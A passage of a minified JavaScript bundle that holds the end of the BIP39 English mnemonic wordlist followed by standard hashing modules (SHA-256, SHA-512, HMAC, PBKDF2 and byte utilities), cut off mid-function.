on\npill\npilot\npink\npioneer\npipe\npistol\npitch\npizza\nplace\nplanet\nplastic\nplate\nplay\nplease\npledge\npluck\nplug\nplunge\npoem\npoet\npoint\npolar\npole\npolice\npond\npony\npool\npopular\nportion\nposition\npossible\npost\npotato\npottery\npoverty\npowder\npower\npractice\npraise\npredict\nprefer\nprepare\npresent\npretty\nprevent\nprice\npride\nprimary\nprint\npriority\nprison\nprivate\nprize\nproblem\nprocess\nproduce\nprofit\nprogram\nproject\npromote\nproof\nproperty\nprosper\nprotect\nproud\nprovide\npublic\npudding\npull\npulp\npulse\npumpkin\npunch\npupil\npuppy\npurchase\npurity\npurpose\npurse\npush\nput\npuzzle\npyramid\nquality\nquantum\nquarter\nquestion\nquick\nquit\nquiz\nquote\nrabbit\nraccoon\nrace\nrack\nradar\nradio\nrail\nrain\nraise\nrally\nramp\nranch\nrandom\nrange\nrapid\nrare\nrate\nrather\nraven\nraw\nrazor\nready\nreal\nreason\nrebel\nrebuild\nrecall\nreceive\nrecipe\nrecord\nrecycle\nreduce\nreflect\nreform\nrefuse\nregion\nregret\nregular\nreject\nrelax\nrelease\nrelief\nrely\nremain\nremember\nremind\nremove\nrender\nrenew\nrent\nreopen\nrepair\nrepeat\nreplace\nreport\nrequire\nrescue\nresemble\nresist\nresource\nresponse\nresult\nretire\nretreat\nreturn\nreunion\nreveal\nreview\nreward\nrhythm\nrib\nribbon\nrice\nrich\nride\nridge\nrifle\nright\nrigid\nring\nriot\nripple\nrisk\nritual\nrival\nriver\nroad\nroast\nrobot\nrobust\nrocket\nromance\nroof\nrookie\nroom\nrose\nrotate\nrough\nround\nroute\nroyal\nrubber\nrude\nrug\nrule\nrun\nrunway\nrural\nsad\nsaddle\nsadness\nsafe\nsail\nsalad\nsalmon\nsalon\nsalt\nsalute\nsame\nsample\nsand\nsatisfy\nsatoshi\nsauce\nsausage\nsave\nsay\nscale\nscan\nscare\nscatter\nscene\nscheme\nschool\nscience\nscissors\nscorpion\nscout\nscrap\nscreen\nscript\nscrub\nsea\nsearch\nseason\nseat\nsecond\nsecret\nsection\nsecurity\nseed\nseek\nsegment\nselect\nsell\nseminar\nsenior\nsense\nsentence\nseries\nservice\nsession\nsettle\nsetup\nseven\nshadow\nshaft\nshallow\nshare\nshed\nshell\nsheriff\nshield\nshift\nshine\nship\nshiver\nshock\nshoe\nshoot\nshop\nshort\nshoulder\nshove\nshrimp\nshrug\nshuffle\nshy\nsibling\nsick\nside\nsiege\nsight\nsign\nsilent\nsilk\nsilly\nsilver\nsimilar\nsimple\nsince\nsing\nsiren\nsister\nsituate\nsix\nsize\nskate\nsketch\nski\nskill\nskin\nskirt\nskull\nslab\nslam\nsleep\nslender\nslice\nslide\nslight\nslim\nslogan\nslot\nslow\nslush\nsmall\nsmart\nsmile\nsmoke\nsmooth\nsnack\nsnake\nsnap\nsniff\nsnow\nsoap\nsoccer\nsocial\nsock\nsoda\nsoft\nsolar\nsoldier\nsolid\nsolution\nsolve\nsomeone\nsong\nsoon\nsorry\nsort\nsoul\nsound\nsoup\nsource\nsouth\nspace\nspare\nspatial\nspawn\nspeak\nspecial\nspeed\nspell\nspend\nsphere\nspice\nspider\nspike\nspin\nspirit\nsplit\nspoil\nsponsor\nspoon\nsport\nspot\nspray\nspread\nspring\nspy\nsquare\nsqueeze\nsquirrel\nstable\nstadium\nstaff\nstage\nstairs\nstamp\nstand\nstart\nstate\nstay\nsteak\nsteel\nstem\nstep\nstereo\nstick\nstill\nsting\nstock\nstomach\nstone\nstool\nstory\nstove\nstrategy\nstreet\nstrike\nstrong\nstruggle\nstudent\nstuff\nstumble\nstyle\nsubject\nsubmit\nsubway\nsuccess\nsuch\nsudden\nsuffer\nsugar\nsuggest\nsuit\nsummer\nsun\nsunny\nsunset\nsuper\nsupply\nsupreme\nsure\nsurface\nsurge\nsurprise\nsurround\nsurvey\nsuspect\nsustain\nswallow\nswamp\nswap\nswarm\nswear\nsweet\nswift\nswim\nswing\nswitch\nsword\nsymbol\nsymptom\nsyrup\nsystem\ntable\ntackle\ntag\ntail\ntalent\ntalk\ntank\ntape\ntarget\ntask\ntaste\ntattoo\ntaxi\nteach\nteam\ntell\nten\ntenant\ntennis\ntent\nterm\ntest\ntext\nthank\nthat\ntheme\nthen\ntheory\nthere\nthey\nthing\nthis\nthought\nthree\nthrive\nthrow\nthumb\nthunder\nticket\ntide\ntiger\ntilt\ntimber\ntime\ntiny\ntip\ntired\ntissue\ntitle\ntoast\ntobacco\ntoday\ntoddler\ntoe\ntogether\ntoilet\ntoken\ntomato\ntomorrow\ntone\ntongue\ntonight\ntool\ntooth\ntop\ntopic\ntopple\ntorch\ntornado\ntortoise\ntoss\ntotal\ntourist\ntoward\ntower\ntown\ntoy\ntrack\ntrade\ntraffic\ntragic\ntrain\ntransfer\ntrap\ntrash\ntravel\ntray\ntreat\ntree\ntrend\ntrial\ntribe\ntrick\ntrigger\ntrim\ntrip\ntrophy\ntrouble\ntruck\ntrue\ntruly\ntrumpet\ntrust\ntruth\ntry\ntube\ntuition\ntumble\ntuna\ntunnel\nturkey\nturn\nturtle\ntwelve\ntwenty\ntwice\ntwin\ntwist\ntwo\ntype\ntypical\nugly\numbrella\nunable\nunaware\nuncle\nuncover\nunder\nundo\nunfair\nunfold\nunhappy\nuniform\nunique\nunit\nuniverse\nunknown\nunlock\nuntil\nunusual\nunveil\nupdate\nupgrade\nuphold\nupon\nupper\nupset\nurban\nurge\nusage\nuse\nused\nuseful\nuseless\nusual\nutility\nvacant\nvacuum\nvague\nvalid\nvalley\nvalve\nvan\nvanish\nvapor\nvarious\nvast\nvault\nvehicle\nvelvet\nvendor\nventure\nvenue\nverb\nverify\nversion\nvery\nvessel\nveteran\nviable\nvibrant\nvicious\nvictory\nvideo\nview\nvillage\nvintage\nviolin\nvirtual\nvirus\nvisa\nvisit\nvisual\nvital\nvivid\nvocal\nvoice\nvoid\nvolcano\nvolume\nvote\nvoyage\nwage\nwagon\nwait\nwalk\nwall\nwalnut\nwant\nwarfare\nwarm\nwarrior\nwash\nwasp\nwaste\nwater\nwave\nway\nwealth\nweapon\nwear\nweasel\nweather\nweb\nwedding\nweekend\nweird\nwelcome\nwest\nwet\nwhale\nwhat\nwheat\nwheel\nwhen\nwhere\nwhip\nwhisper\nwide\nwidth\nwife\nwild\nwill\nwin\nwindow\nwine\nwing\nwink\nwinner\nwinter\nwire\nwisdom\nwise\nwish\nwitness\nwolf\nwoman\nwonder\nwood\nwool\nword\nwork\nworld\nworry\nworth\nwrap\nwreck\nwrestle\nwrist\nwrite\nwrong\nyard\nyear\nyellow\nyou\nyoung\nyouth\nzebra\nzero\nzone\nzoo".split("\n")},648(n,t){"use strict";function e(n){if(!Number.isSafeInteger(n)||n<0)throw new Error(`Wrong positive integer: ${n}`)}function r(n){if("boolean"!=typeof n)throw new Error(`Expected boolean, not ${n}`)}function i(n,...t){if(!((e=n)instanceof Uint8Array||null!=e&&"object"==typeof e&&"Uint8Array"===e.constructor.name))throw new Error("Expected Uint8Array");var e;if(t.length>0&&!t.includes(n.length))throw new Error(`Expected Uint8Array of length ${t}, not of length=${n.length}`)}function o(n){if("function"!=typeof n||"function"!=typeof n.create)throw new Error("Hash should be wrapped by utils.wrapConstructor");e(n.outputLen),e(n.blockLen)}function a(n,t=!0){if(n.destroyed)throw new Error("Hash instance has been destroyed");if(t&&n.finished)throw new Error("Hash#digest() has already been called")}function s(n,t){i(n);const e=t.outputLen;if(n.length<e)throw new Error(`digestInto() expects output buffer of length at least ${e}`)}Object.defineProperty(t,"__esModule",{value:!0}),t.output=t.exists=t.hash=t.bytes=t.bool=t.number=void 0,t.number=e,t.bool=r,t.bytes=i,t.hash=o,t.exists=a,t.output=s;const u={number:e,bool:r,bytes:i,hash:o,exists:a,output:s};t.default=u},134(n,t,e){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SHA2=void 0;const r=e(648),i=e(654);class o extends i.Hash{constructor(n,t,e,r){super(),this.blockLen=n,this.outputLen=t,this.padOffset=e,this.isLE=r,this.finished=!1,this.length=0,this.pos=0,this.destroyed=!1,this.buffer=new Uint8Array(n),this.view=(0,i.createView)(this.buffer)}update(n){(0,r.exists)(this);const{view:t,buffer:e,blockLen:o}=this,a=(n=(0,i.toBytes)(n)).length;for(let r=0;r<a;){const s=Math.min(o-this.pos,a-r);if(s===o){const t=(0,i.createView)(n);for(;o<=a-r;r+=o)this.process(t,r);continue}e.set(n.subarray(r,r+s),this.pos),this.pos+=s,r+=s,this.pos===o&&(this.process(t,0),this.pos=0)}return this.length+=n.length,this.roundClean(),this}digestInto(n){(0,r.exists)(this),(0,r.output)(n,this),this.finished=!0;const{buffer:t,view:e,blockLen:o,isLE:a}=this;let{pos:s}=this;t[s++]=128,this.buffer.subarray(s).fill(0),this.padOffset>o-s&&(this.process(e,0),s=0);for(let n=s;n<o;n++)t[n]=0;!function(n,t,e,r){if("function"==typeof n.setBigUint64)return n.setBigUint64(t,e,r);const i=BigInt(32),o=BigInt(4294967295),a=Number(e>>i&o),s=Number(e&o),u=r?4:0,c=r?0:4;n.setUint32(t+u,a,r),n.setUint32(t+c,s,r)}(e,o-8,BigInt(8*this.length),a),this.process(e,0);const u=(0,i.createView)(n),c=this.outputLen;if(c%4)throw new Error("_sha2: outputLen should be aligned to 32bit");const f=c/4,l=this.get();if(f>l.length)throw new Error("_sha2: outputLen bigger than state");for(let n=0;n<f;n++)u.setUint32(4*n,l[n],a)}digest(){const{buffer:n,outputLen:t}=this;this.digestInto(n);const e=n.slice(0,t);return this.destroy(),e}_cloneInto(n){n||(n=new this.constructor),n.set(...this.get());const{blockLen:t,buffer:e,length:r,finished:i,destroyed:o,pos:a}=this;return n.length=r,n.pos=a,n.finished=i,n.destroyed=o,r%t&&n.buffer.set(e),n}}t.SHA2=o},109(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.add5L=t.add5H=t.add4H=t.add4L=t.add3H=t.add3L=t.add=t.rotlBL=t.rotlBH=t.rotlSL=t.rotlSH=t.rotr32L=t.rotr32H=t.rotrBL=t.rotrBH=t.rotrSL=t.rotrSH=t.shrSL=t.shrSH=t.toBig=t.split=t.fromBig=void 0;const e=BigInt(2**32-1),r=BigInt(32);function i(n,t=!1){return t?{h:Number(n&e),l:Number(n>>r&e)}:{h:0|Number(n>>r&e),l:0|Number(n&e)}}function o(n,t=!1){let e=new Uint32Array(n.length),r=new Uint32Array(n.length);for(let o=0;o<n.length;o++){const{h:a,l:s}=i(n[o],t);[e[o],r[o]]=[a,s]}return[e,r]}t.fromBig=i,t.split=o;const a=(n,t)=>BigInt(n>>>0)<<r|BigInt(t>>>0);t.toBig=a;const s=(n,t,e)=>n>>>e;t.shrSH=s;const u=(n,t,e)=>n<<32-e|t>>>e;t.shrSL=u;const c=(n,t,e)=>n>>>e|t<<32-e;t.rotrSH=c;const f=(n,t,e)=>n<<32-e|t>>>e;t.rotrSL=f;const l=(n,t,e)=>n<<64-e|t>>>e-32;t.rotrBH=l;const h=(n,t,e)=>n>>>e-32|t<<64-e;t.rotrBL=h;const d=(n,t)=>t;t.rotr32H=d;const p=(n,t)=>n;t.rotr32L=p;const y=(n,t,e)=>n<<e|t>>>32-e;t.rotlSH=y;const g=(n,t,e)=>t<<e|n>>>32-e;t.rotlSL=g;const w=(n,t,e)=>t<<e-32|n>>>64-e;t.rotlBH=w;const b=(n,t,e)=>n<<e-32|t>>>64-e;function m(n,t,e,r){const i=(t>>>0)+(r>>>0);return{h:n+e+(i/2**32|0)|0,l:0|i}}t.rotlBL=b,t.add=m;const v=(n,t,e)=>(n>>>0)+(t>>>0)+(e>>>0);t.add3L=v;const x=(n,t,e,r)=>t+e+r+(n/2**32|0)|0;t.add3H=x;const E=(n,t,e,r)=>(n>>>0)+(t>>>0)+(e>>>0)+(r>>>0);t.add4L=E;const B=(n,t,e,r,i)=>t+e+r+i+(n/2**32|0)|0;t.add4H=B;const _=(n,t,e,r,i)=>(n>>>0)+(t>>>0)+(e>>>0)+(r>>>0)+(i>>>0);t.add5L=_;const A=(n,t,e,r,i,o)=>t+e+r+i+o+(n/2**32|0)|0;t.add5H=A;const I={fromBig:i,split:o,toBig:a,shrSH:s,shrSL:u,rotrSH:c,rotrSL:f,rotrBH:l,rotrBL:h,rotr32H:d,rotr32L:p,rotlSH:y,rotlSL:g,rotlBH:w,rotlBL:b,add:m,add3L:v,add3H:x,add4L:E,add4H:B,add5H:A,add5L:_};t.default=I},610(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.crypto=void 0,t.crypto="object"==typeof globalThis&&"crypto"in globalThis?globalThis.crypto:void 0},832(n,t,e){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.hmac=t.HMAC=void 0;const r=e(648),i=e(654);class o extends i.Hash{constructor(n,t){super(),this.finished=!1,this.destroyed=!1,(0,r.hash)(n);const e=(0,i.toBytes)(t);if(this.iHash=n.create(),"function"!=typeof this.iHash.update)throw new Error("Expected instance of class which extends utils.Hash");this.blockLen=this.iHash.blockLen,this.outputLen=this.iHash.outputLen;const o=this.blockLen,a=new Uint8Array(o);a.set(e.length>o?n.create().update(e).digest():e);for(let n=0;n<a.length;n++)a[n]^=54;this.iHash.update(a),this.oHash=n.create();for(let n=0;n<a.length;n++)a[n]^=106;this.oHash.update(a),a.fill(0)}update(n){return(0,r.exists)(this),this.iHash.update(n),this}digestInto(n){(0,r.exists)(this),(0,r.bytes)(n,this.outputLen),this.finished=!0,this.iHash.digestInto(n),this.oHash.update(n),this.oHash.digestInto(n),this.destroy()}digest(){const n=new Uint8Array(this.oHash.outputLen);return this.digestInto(n),n}_cloneInto(n){n||(n=Object.create(Object.getPrototypeOf(this),{}));const{oHash:t,iHash:e,finished:r,destroyed:i,blockLen:o,outputLen:a}=this;return n.finished=r,n.destroyed=i,n.blockLen=o,n.outputLen=a,n.oHash=t._cloneInto(n.oHash),n.iHash=e._cloneInto(n.iHash),n}destroy(){this.destroyed=!0,this.oHash.destroy(),this.iHash.destroy()}}t.HMAC=o;t.hmac=(n,t,e)=>new o(n,t).update(e).digest(),t.hmac.create=(n,t)=>new o(n,t)},486(n,t,e){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.pbkdf2Async=t.pbkdf2=void 0;const r=e(648),i=e(832),o=e(654);function a(n,t,e,a){(0,r.hash)(n);const s=(0,o.checkOpts)({dkLen:32,asyncTick:10},a),{c:u,dkLen:c,asyncTick:f}=s;if((0,r.number)(u),(0,r.number)(c),(0,r.number)(f),u<1)throw new Error("PBKDF2: iterations (c) should be >= 1");const l=(0,o.toBytes)(t),h=(0,o.toBytes)(e),d=new Uint8Array(c),p=i.hmac.create(n,l),y=p._cloneInto().update(h);return{c:u,dkLen:c,asyncTick:f,DK:d,PRF:p,PRFSalt:y}}function s(n,t,e,r,i){return n.destroy(),t.destroy(),r&&r.destroy(),i.fill(0),e}t.pbkdf2=function(n,t,e,r){const{c:i,dkLen:u,DK:c,PRF:f,PRFSalt:l}=a(n,t,e,r);let h;const d=new Uint8Array(4),p=(0,o.createView)(d),y=new Uint8Array(f.outputLen);for(let n=1,t=0;t<u;n++,t+=f.outputLen){const e=c.subarray(t,t+f.outputLen);p.setInt32(0,n,!1),(h=l._cloneInto(h)).update(d).digestInto(y),e.set(y.subarray(0,e.length));for(let n=1;n<i;n++){f._cloneInto(h).update(y).digestInto(y);for(let n=0;n<e.length;n++)e[n]^=y[n]}}return s(f,l,c,h,y)},t.pbkdf2Async=async function(n,t,e,r){const{c:i,dkLen:u,asyncTick:c,DK:f,PRF:l,PRFSalt:h}=a(n,t,e,r);let d;const p=new Uint8Array(4),y=(0,o.createView)(p),g=new Uint8Array(l.outputLen);for(let n=1,t=0;t<u;n++,t+=l.outputLen){const e=f.subarray(t,t+l.outputLen);y.setInt32(0,n,!1),(d=h._cloneInto(d)).update(p).digestInto(g),e.set(g.subarray(0,e.length)),await(0,o.asyncLoop)(i-1,c,()=>{l._cloneInto(d).update(g).digestInto(g);for(let n=0;n<e.length;n++)e[n]^=g[n]})}return s(l,h,f,d,g)}},4(n,t,e){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.sha224=t.sha256=void 0;const r=e(134),i=e(654),o=(n,t,e)=>n&t^~n&e,a=(n,t,e)=>n&t^n&e^t&e,s=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]),u=new Uint32Array([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]),c=new Uint32Array(64);class f extends r.SHA2{constructor(){super(64,32,8,!1),this.A=0|u[0],this.B=0|u[1],this.C=0|u[2],this.D=0|u[3],this.E=0|u[4],this.F=0|u[5],this.G=0|u[6],this.H=0|u[7]}get(){const{A:n,B:t,C:e,D:r,E:i,F:o,G:a,H:s}=this;return[n,t,e,r,i,o,a,s]}set(n,t,e,r,i,o,a,s){this.A=0|n,this.B=0|t,this.C=0|e,this.D=0|r,this.E=0|i,this.F=0|o,this.G=0|a,this.H=0|s}process(n,t){for(let e=0;e<16;e++,t+=4)c[e]=n.getUint32(t,!1);for(let n=16;n<64;n++){const t=c[n-15],e=c[n-2],r=(0,i.rotr)(t,7)^(0,i.rotr)(t,18)^t>>>3,o=(0,i.rotr)(e,17)^(0,i.rotr)(e,19)^e>>>10;c[n]=o+c[n-7]+r+c[n-16]|0}let{A:e,B:r,C:u,D:f,E:l,F:h,G:d,H:p}=this;for(let n=0;n<64;n++){const t=p+((0,i.rotr)(l,6)^(0,i.rotr)(l,11)^(0,i.rotr)(l,25))+o(l,h,d)+s[n]+c[n]|0,y=((0,i.rotr)(e,2)^(0,i.rotr)(e,13)^(0,i.rotr)(e,22))+a(e,r,u)|0;p=d,d=h,h=l,l=f+t|0,f=u,u=r,r=e,e=t+y|0}e=e+this.A|0,r=r+this.B|0,u=u+this.C|0,f=f+this.D|0,l=l+this.E|0,h=h+this.F|0,d=d+this.G|0,p=p+this.H|0,this.set(e,r,u,f,l,h,d,p)}roundClean(){c.fill(0)}destroy(){this.set(0,0,0,0,0,0,0,0),this.buffer.fill(0)}}class l extends f{constructor(){super(),this.A=-1056596264,this.B=914150663,this.C=812702999,this.D=-150054599,this.E=-4191439,this.F=1750603025,this.G=1694076839,this.H=-1090891868,this.outputLen=28}}t.sha256=(0,i.wrapConstructor)(()=>new f),t.sha224=(0,i.wrapConstructor)(()=>new l)},249(n,t,e){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.sha384=t.sha512_256=t.sha512_224=t.sha512=t.SHA512=void 0;const r=e(134),i=e(109),o=e(654),[a,s]=i.default.split(["0x428a2f98d728ae22","0x7137449123ef65cd","0xb5c0fbcfec4d3b2f","0xe9b5dba58189dbbc","0x3956c25bf348b538","0x59f111f1b605d019","0x923f82a4af194f9b","0xab1c5ed5da6d8118","0xd807aa98a3030242","0x12835b0145706fbe","0x243185be4ee4b28c","0x550c7dc3d5ffb4e2","0x72be5d74f27b896f","0x80deb1fe3b1696b1","0x9bdc06a725c71235","0xc19bf174cf692694","0xe49b69c19ef14ad2","0xefbe4786384f25e3","0x0fc19dc68b8cd5b5","0x240ca1cc77ac9c65","0x2de92c6f592b0275","0x4a7484aa6ea6e483","0x5cb0a9dcbd41fbd4","0x76f988da831153b5","0x983e5152ee66dfab","0xa831c66d2db43210","0xb00327c898fb213f","0xbf597fc7beef0ee4","0xc6e00bf33da88fc2","0xd5a79147930aa725","0x06ca6351e003826f","0x142929670a0e6e70","0x27b70a8546d22ffc","0x2e1b21385c26c926","0x4d2c6dfc5ac42aed","0x53380d139d95b3df","0x650a73548baf63de","0x766a0abb3c77b2a8","0x81c2c92e47edaee6","0x92722c851482353b","0xa2bfe8a14cf10364","0xa81a664bbc423001","0xc24b8b70d0f89791","0xc76c51a30654be30","0xd192e819d6ef5218","0xd69906245565a910","0xf40e35855771202a","0x106aa07032bbd1b8","0x19a4c116b8d2d0c8","0x1e376c085141ab53","0x2748774cdf8eeb99","0x34b0bcb5e19b48a8","0x391c0cb3c5c95a63","0x4ed8aa4ae3418acb","0x5b9cca4f7763e373","0x682e6ff3d6b2b8a3","0x748f82ee5defb2fc","0x78a5636f43172f60","0x84c87814a1f0ab72","0x8cc702081a6439ec","0x90befffa23631e28","0xa4506cebde82bde9","0xbef9a3f7b2c67915","0xc67178f2e372532b","0xca273eceea26619c","0xd186b8c721c0c207","0xeada7dd6cde0eb1e","0xf57d4f7fee6ed178","0x06f067aa72176fba","0x0a637dc5a2c898a6","0x113f9804bef90dae","0x1b710b35131c471b","0x28db77f523047d84","0x32caab7b40c72493","0x3c9ebe0a15c9bebc","0x431d67c49c100d4c","0x4cc5d4becb3e42b6","0x597f299cfc657e2a","0x5fcb6fab3ad6faec","0x6c44198c4a475817"].map(n=>BigInt(n))),u=new Uint32Array(80),c=new Uint32Array(80);class f extends r.SHA2{constructor(){super(128,64,16,!1),this.Ah=1779033703,this.Al=-205731576,this.Bh=-1150833019,this.Bl=-2067093701,this.Ch=1013904242,this.Cl=-23791573,this.Dh=-1521486534,this.Dl=1595750129,this.Eh=1359893119,this.El=-1377402159,this.Fh=-1694144372,this.Fl=725511199,this.Gh=528734635,this.Gl=-79577749,this.Hh=1541459225,this.Hl=327033209}get(){const{Ah:n,Al:t,Bh:e,Bl:r,Ch:i,Cl:o,Dh:a,Dl:s,Eh:u,El:c,Fh:f,Fl:l,Gh:h,Gl:d,Hh:p,Hl:y}=this;return[n,t,e,r,i,o,a,s,u,c,f,l,h,d,p,y]}set(n,t,e,r,i,o,a,s,u,c,f,l,h,d,p,y){this.Ah=0|n,this.Al=0|t,this.Bh=0|e,this.Bl=0|r,this.Ch=0|i,this.Cl=0|o,this.Dh=0|a,this.Dl=0|s,this.Eh=0|u,this.El=0|c,this.Fh=0|f,this.Fl=0|l,this.Gh=0|h,this.Gl=0|d,this.Hh=0|p,this.Hl=0|y}process(n,t){for(let e=0;e<16;e++,t+=4)u[e]=n.getUint32(t),c[e]=n.getUint32(t+=4);for(let n=16;n<80;n++){const t=0|u[n-15],e=0|c[n-15],r=i.default.rotrSH(t,e,1)^i.default.rotrSH(t,e,8)^i.default.shrSH(t,e,7),o=i.default.rotrSL(t,e,1)^i.default.rotrSL(t,e,8)^i.default.shrSL(t,e,7),a=0|u[n-2],s=0|c[n-2],f=i.default.rotrSH(a,s,19)^i.default.rotrBH(a,s,61)^i.default.shrSH(a,s,6),l=i.default.rotrSL(a,s,19)^i.default.rotrBL(a,s,61)^i.default.shrSL(a,s,6),h=i.default.add4L(o,l,c[n-7],c[n-16]),d=i.default.add4H(h,r,f,u[n-7],u[n-16]);u[n]=0|d,c[n]=0|h}let{Ah:e,Al:r,Bh:o,Bl:f,Ch:l,Cl:h,Dh:d,Dl:p,Eh:y,El:g,Fh:w,Fl:b,Gh:m,Gl:v,Hh:x,Hl:E}=this;for(let n=0;n<80;n++){const t=i.default.rotrSH(y,g,14)^i.default.rotrSH(y,g,18)^i.default.rotrBH(y,g,41),B=i.default.rotrSL(y,g,14)^i.default.rotrSL(y,g,18)^i.default.rotrBL(y,g,41),_=y&w^~y&m,A=g&b^~g&v,I=i.default.add5L(E,B,A,s[n],c[n]),k=i.default.add5H(I,x,t,_,a[n],u[n]),U=0|I,S=i.default.rotrSH(e,r,28)^i.default.rotrBH(e,r,34)^i.default.rotrBH(e,r,39),L=i.default.rotrSL(e,r,28)^i.default.rotrBL(e,r,34)^i.default.rotrBL(e,r,39),O=e&o^e&l^o&l,C=r&f^r&h^f&h;x=0|m,E=0|v,m=0|w,v=0|b,w=0|y,b=0|g,({h:y,l:g}=i.default.add(0|d,0|p,0|k,0|U)),d=0|l,p=0|h,l=0|o,h=0|f,o=0|e,f=0|r;const K=i.default.add3L(U,L,C);e=i.default.add3H(K,k,S,O),r=0|K}({h:e,l:r}=i.default.add(0|this.Ah,0|this.Al,0|e,0|r)),({h:o,l:f}=i.default.add(0|this.Bh,0|this.Bl,0|o,0|f)),({h:l,l:h}=i.default.add(0|this.Ch,0|this.Cl,0|l,0|h)),({h:d,l:p}=i.default.add(0|this.Dh,0|this.Dl,0|d,0|p)),({h:y,l:g}=i.default.add(0|this.Eh,0|this.El,0|y,0|g)),({h:w,l:b}=i.default.add(0|this.Fh,0|this.Fl,0|w,0|b)),({h:m,l:v}=i.default.add(0|this.Gh,0|this.Gl,0|m,0|v)),({h:x,l:E}=i.default.add(0|this.Hh,0|this.Hl,0|x,0|E)),this.set(e,r,o,f,l,h,d,p,y,g,w,b,m,v,x,E)}roundClean(){u.fill(0),c.fill(0)}destroy(){this.buffer.fill(0),this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}t.SHA512=f;class l extends f{constructor(){super(),this.Ah=-1942145080,this.Al=424955298,this.Bh=1944164710,this.Bl=-1982016298,this.Ch=502970286,this.Cl=855612546,this.Dh=1738396948,this.Dl=1479516111,this.Eh=258812777,this.El=2077511080,this.Fh=2011393907,this.Fl=79989058,this.Gh=1067287976,this.Gl=1780299464,this.Hh=286451373,this.Hl=-1848208735,this.outputLen=28}}class h extends f{constructor(){super(),this.Ah=573645204,this.Al=-64227540,this.Bh=-1621794909,this.Bl=-934517566,this.Ch=596883563,this.Cl=1867755857,this.Dh=-1774684391,this.Dl=1497426621,this.Eh=-1775747358,this.El=-1467023389,this.Fh=-1101128155,this.Fl=1401305490,this.Gh=721525244,this.Gl=746961066,this.Hh=246885852,this.Hl=-2117784414,this.outputLen=32}}class d extends f{constructor(){super(),this.Ah=-876896931,this.Al=-1056596264,this.Bh=1654270250,this.Bl=914150663,this.Ch=-1856437926,this.Cl=812702999,this.Dh=355462360,this.Dl=-150054599,this.Eh=1731405415,this.El=-4191439,this.Fh=-1900787065,this.Fl=1750603025,this.Gh=-619958771,this.Gl=1694076839,this.Hh=1203062813,this.Hl=-1090891868,this.outputLen=48}}t.sha512=(0,o.wrapConstructor)(()=>new f),t.sha512_224=(0,o.wrapConstructor)(()=>new l),t.sha512_256=(0,o.wrapConstructor)(()=>new h),t.sha384=(0,o.wrapConstructor)(()=>new d)},654(n,t,e){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.randomBytes=t.wrapXOFConstructorWithOpts=t.wrapConstructorWithOpts=t.wrapConstructor=t.checkOpts=t.Hash=t.concatBytes=t.toBytes=t.utf8ToBytes=t.asyncLoop=t.nextTick=t.hexToBytes=t.bytesToHex=t.isLE=t.rotr=t.createView=t.u32=t.u8=void 0;const r=e(610);t.u8=n=>new Uint8Array(n.buffer,n.byteOffset,n.byteLength);function i(n){return n instanceof Uint8Array||null!=n&&"object"==typeof n&&"Uint8Array"===n.constructor.name}t.u32=n=>new Uint32Array(n.buffer,n.byteOffset,Math.floor(n.byteLength/4));t.createView=n=>new DataView(n.buffer,n.byteOffset,n.byteLength);if(t.rotr=(n,t)=>n<<32-t|n>>>t,t.isLE=68===new Uint8Array(new Uint32Array([287454020]).buffer)[0],!t.isLE)throw new Error("Non little-endian hardware is not supported");const o=Array.from({length:256},(n,t)=>t.toString(16).padStart(2,"0"));t.bytesToHex=function(n){if(!i(n))throw new Error("Uint8Array expected");let t="";for(let e=0;e<n.length;e++)t+=o[n[e]];return t};const a=48,s=57,u=65,c=70,f=97,l=102;function h(n){return n>=a&&n<=s?n-a:n>=u&&n<=c?n-(u-10):n>=f&&n<=l?n-(f-10):void 0}t.hexToBytes=function(n){if("string"!=typeof n)throw new Error("hex string expected, got "+typeof n);const t=n.length,e=t/2;if(t%2)throw new Error("padded hex string expected, got unpadded hex of length "+t);const r=new Uint8Array(e);for(let t=0,i=0;t<e;t++,i+=2){const e=h(n.charCodeAt(i)),o=h(n.charCodeAt(i+1));if(void 0===e||void 0===o){const t=n[i]+n[i+1];throw new Error('hex string expected, got non-hex character "'+t+'" at index '+i)}r[t]=16*e+o}return r};function d(n){if("string"!=typeof n)throw new Error("utf8ToBytes expected string, got "+typeof n);return new Uint8Array((new TextEncoder).encode(n))}function p(n){if("string"==typeof n&&(n=d(n)),!i(n))throw new Error("expected Uint8Array, got "+typeof n);return n}t.nextTick=async()=>{},t.asyncLoop=async function(n,e,r){let i=Date.now();for(let o=0;o<n;o++){r(o);const n=Date.now()-i;n>=0&&n<e||(await(0,t.nextTick)(),i+=n)}},t.utf8ToBytes=d,t.toBytes=p,t.concatBytes=function(...n){let t=0;for(let e=0;e<n.length;e++){const r=n[e];if(!i(r))throw new Error("Uint8Array expected");t+=r.length}const e=new Uint8Array(t);for(let t=0,r=0;t<n.length;t++){const i=n[t];e.set(i,r),r+=i.length}return e};t.Hash=class{clone(){return this._cloneInto()}};const y={}.toString;t.checkOpts=function(n,t){if(void 0!==t&&"[object Object]"!==y.call(t))throw new Error("Options should be object or undefined");return Object.assign(n,t)},t.wrapConstructor=function(n){const t=t=>n().update(p(t)).digest(),e=n();return t.outputLen=e.outputLen,t.blockLen=e.blockLen,t.create=()=>n(),t},t.wrapConstructorWithOpts=function(n){const t=(t,e)=>n(e).update(p(t)).digest(),e=n({});return t.outputLen=e.outputLen,t.blockLen=e.blockLen,t.create=t=>n(t),t},t.wrapXOFConstructorWithOpts=function(n){const 